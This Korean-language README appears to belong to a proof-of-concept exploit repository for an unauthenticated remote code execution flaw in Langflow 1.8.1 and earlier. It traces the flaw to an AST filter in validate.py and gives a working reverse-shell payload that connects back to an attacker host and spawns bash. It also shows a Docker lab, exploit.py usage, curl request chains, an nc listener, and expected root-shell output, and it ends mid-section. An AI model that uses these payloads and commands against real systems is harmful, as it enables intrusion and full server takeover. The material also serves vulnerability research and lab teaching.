
Langflow <=1.8.1의 인증되지 않은 RCE에 대한 PoC 익스플로잇으로, 소스 수준 근본 원인 분석, AST 인식 리버스 셸 페이로드, Docker 랩, 패치 diff, 탐지 규칙을 포함합니다.
면책 조항
본 저장소는 보안 연구 및 교육 목적으로 제작되었습니다.
격리된 실습 환경에서만 사용하십시오.
허가되지 않은 시스템에 사용하는 것은 정보통신망법 위반으로 형사처벌 대상입니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2026-33017 |
| 취약 소프트웨어 | Langflow (AI 워크플로우 빌더) |
| 영향 버전 | Langflow ≤ 1.8.1 |
| 패치 버전 | Langflow ≥ 1.9.0 |
| 취약점 유형 | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | 등재 |
POST /api/v1/build_public_tmp/{flow_id}/flow
Public 플로우 빌드용 엔드포인트로, 인증 없이 접근 가능하도록 설계된 엔드포인트다.
소스 코드를 직접 추적하여 확인한 실행 경로:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
prepare_global_scope() 함수는 제출된 코드의 모든 구문을 실행하지 않는다.
AST 파싱 후 특정 노드 타입만 선별하여 실행한다:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
실행 가능한 AST 노드 타입:
| AST 노드 타입 | 예시 | 실행 여부 |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ 실행 |
ClassDef | class ExploitComponent(Component) | ✅ 실행 |
Assign | _r = os.system("id") | ✅ 실행 |
AnnAssign | _r: int = os.system("id") | ✅ 실행 |
Expr | os.system("id") (단독 호출) | ❌ 무시 |
결론: 페이로드는 반드시
Assign형태(_r = ...)로 작성해야 실행된다.
단순 함수 호출(os.system("id"))은Expr노드로 분류되어 필터에서 걸러진다.
실습 과정에서 여러 페이로드 방식을 시도하였으며 각 실패 원인을 소스 레벨에서 규명하였다.
subprocess.Popen + wait() (실패)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
실패 원인: Langflow 워커 스레드가 컴포넌트 반환값을 감시하다가
타임아웃 시 소켓을 강제로 닫아버림. _proc.wait() 블로킹이 무의미해짐.
os.execve() 직접 호출 (실패)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
실패 원인: POSIX 규칙상 멀티스레드 프로세스에서 execve() 호출 시
호출 스레드 외 모든 스레드가 종료됨 → uvicorn 워커 전체 크래시 → HTTP 500.
os.fork() + execve() (실패)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
실패 원인: uvicorn이 자식 프로세스를 비정상 종료로 감지하여
워커를 재시작시킴 → HTTP 500.
threading.Thread(daemon=True) (실패)threading.Thread(target=_shell, daemon=True).start()
실패 원인: daemon=True 스레드는 메인 스레드(Langflow 워커) 종료 시
함께 소멸됨. connect() 시도 전에 스레드가 죽어버림.
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
daemon=False 선택 이유:
daemon=True → Langflow 워커 스레드 종료 시 함께 소멸daemon=False → 워커와 독립적인 생명주기 → 소켓 연결 유지 가능CVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
공격자 컨테이너 안에서 실행:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
옵션:
| 옵션 | 설명 | 기본값 |
|---|---|---|
--url | 대상 Langflow URL | 필수 |
--lhost | 리버스 쉘 콜백 IP | 필수 |
--lport | 리버스 쉘 콜백 포트 | 필수 |
--flow-id | Public 플로우 UUID (생략 시 자동 생성) | 자동 |
--user | 관리자 ID | admin |
--password | 관리자 PW | admin123! |
--no-listen | 내장 리스너 비활성화 (외부 nc 사용 시) | False |
--timeout | HTTP 타임아웃(초) | 30 |
기대 출력:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
취약점 존재 여부만 확인할 때 사용:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
| 항목 | exploit.py | poc.py |
|---|---|---|
| 목적 | 리버스 쉘 획득 | 취약점 존재 확인 (Blind RCE) |
| 결과 확인 | 공격자 터미널 직접 | 서버 로그 / OOB |
| 리스너 | 내장 포함 | 불필요 |
| 다중 대상 | 미지원 | 지원 (--url-file) |
| 실습 용도 | 영향도 증명 | 취약점 존재 증명 |
langflow/api/v1/chat.py: